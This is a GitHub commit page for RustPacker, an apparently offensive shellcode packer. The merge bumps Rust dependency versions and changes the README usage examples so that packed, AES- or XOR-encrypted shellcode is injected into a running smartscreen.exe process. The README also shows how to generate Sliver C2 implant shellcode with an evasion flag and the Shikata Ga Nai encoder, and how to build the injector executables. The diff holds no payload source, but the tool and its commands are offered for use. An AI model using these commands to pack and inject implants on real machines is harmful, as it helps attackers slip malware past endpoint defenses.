Skip to content

Commit

Permalink
Merge pull request #22 from Nariod/update
Browse files Browse the repository at this point in the history
Update
  • Loading branch information
Nariod authored Oct 22, 2023
2 parents 5e66545 + 3cdbcee commit cd2a8b4
Show file tree
Hide file tree
Showing 7 changed files with 15 additions and 15 deletions.
6 changes: 3 additions & 3 deletions Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -6,9 +6,9 @@ edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
clap = "4.3.19"
path-absolutize = "3.0.14"
clap = "4.4"
path-absolutize = "3.1"
fs_extra = "1.3.0"
path-clean = "1"
rand = "0.8.5"
libaes = "0.6.4"
libaes = "0.7.0"
14 changes: 7 additions & 7 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -37,13 +37,13 @@ From any internet-connected OS with either Podman or Docker installed:
- `git clone https://github.com/Nariod/RustPacker.git`
- `cd RustPacker/`
- `podman build -t rustpacker -f Dockerfile`. This operation may take a while.
- Paste your shellcode file in the `shared` folder, and create your first binary :
- `podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker -f shared/calc.raw -i syscrt -e aes -b exe`
- Paste your shellcode file in the `shared` folder, and create your first binary targeting a running `smartscreen` process:
- `podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker -f shared/calc.raw -i syscrt -e aes -b exe -t smartscreen.exe`
- Retrieve the output binary along with the Rust source files in `output_[RANDOM_NAME]`: `target/x86_64-pc-windows-gnu/release/`

For regular use, you can set an alias:
- On Linux host: `alias rustpacker='podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker'`
- Then: `rustpacker -f shared/calc.raw -i syscrt -e aes -b exe`
- Then: `rustpacker -f shared/calc.raw -i syscrt -e aes -b exe -t smartscreen.exe`

# Full documentation

Expand All @@ -57,7 +57,7 @@ You can generate raw MSF shellcode using msfvenom's raw format. Ex:
### Sliver
You can generate raw [Sliver](https://github.com/BishopFox/sliver) shellcode using Sliver's "--format shellcode". Ex:
- `generate --mtls 127.0.0.1:443 --format shellcode --os windows --evasion`
- You can use Shikata Ga Nai (SGN) Sliver encoder if prompted. RustPacker templates now use RWX memory regions (not OPSEC safe), which are required for SGN to work.
- You can use Shikata Ga Nai (SGN) Sliver encoder if prompted. RustPacker templates now use RWX memory regions (not really OPSEC safe), which are required for SGN to work.

## Install Rustpacker

Expand All @@ -68,12 +68,12 @@ From any internet-connected OS with either Podman or Docker installed:
- `cd RustPacker/`
- `podman build -t rustpacker -f Dockerfile`
- Paste your shellcode file in the `shared` folder
- `podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker -f shared/calc.raw -i ntcrt -e xor -b exe`
- `podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker -f shared/calc.raw -i ntcrt -e xor -b exe -t smartscreen.exe`
- Retrieve the output binary along with the Rust source files in the `output_RANDOM_NAME` folder in `shared`

For regular use, you can set an alias:
- On Linux host: `alias rustpacker='podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker'`
- Then: `rustpacker -f shared/calc.raw -i ntcrt -e xor -b exe`
- Then: `rustpacker -f shared/calc.raw -i ntcrt -e xor -b exe -t smartscreen.exe`

### Manual install on Kali
Install dependencies:
Expand All @@ -88,7 +88,7 @@ Install Rust:
Run RustPacker:
- `git clone https://github.com/Nariod/RustPacker.git`
- `cd RustPacker/`
- `cargo run -- -f shared/calc.raw -i ntcrt -e xor -b exe`
- `cargo run -- -f shared/calc.raw -i ntcrt -e xor -b exe -t smartscreen.exe`

## Use Rustpacker
For now, you can choose from the following templates:
Expand Down
2 changes: 1 addition & 1 deletion src/aes.rs
Original file line number Diff line number Diff line change
Expand Up @@ -46,7 +46,7 @@ pub fn meta_aes(
",
key, iv
);
let dependencies = r#"libaes = "0.6.4""#.to_string();
let dependencies = r#"libaes = "0.7""#.to_string();

let imports = "
use libaes::Cipher;
Expand Down
2 changes: 1 addition & 1 deletion templates/ntAPC/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ edition = "2021"
{{DLL_FORMAT}}

[dependencies]
sysinfo = "0.28"
sysinfo = "0.29"
ntapi = { version = "0.4", features = ["impl-default"] }
winapi = { version = "0.3", features = ["ntdef", "ntstatus", "impl-default"] }
{{DEPENDENCIES}}
Expand Down
2 changes: 1 addition & 1 deletion templates/ntCRT/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ edition = "2021"
{{DLL_FORMAT}}

[dependencies]
sysinfo = "0.28"
sysinfo = "0.29"
ntapi = { version = "0.4", features = ["impl-default"] }
winapi = { version = "0.3", features = ["ntdef", "ntstatus", "impl-default"] }
{{DEPENDENCIES}}
Expand Down
2 changes: 1 addition & 1 deletion templates/sysCRT/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ edition = "2021"

[dependencies]
rust_syscalls = { git = "https://github.com/Nariod/rust_syscalls", features = ["_INDIRECT_"] }
sysinfo = "0.28"
sysinfo = "0.29"
ntapi = { version = "0.4", features = ["impl-default"] }
winapi = { version = "0.3", features = ["ntdef", "ntstatus", "impl-default"] }
{{DEPENDENCIES}}
Expand Down
2 changes: 1 addition & 1 deletion templates/winCRT/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ edition = "2021"
{{DLL_FORMAT}}

[dependencies]
sysinfo = "0.28"
sysinfo = "0.29"
{{DEPENDENCIES}}

[dependencies.windows]
Expand Down

0 comments on commit cd2a8b4

Please sign in to comment.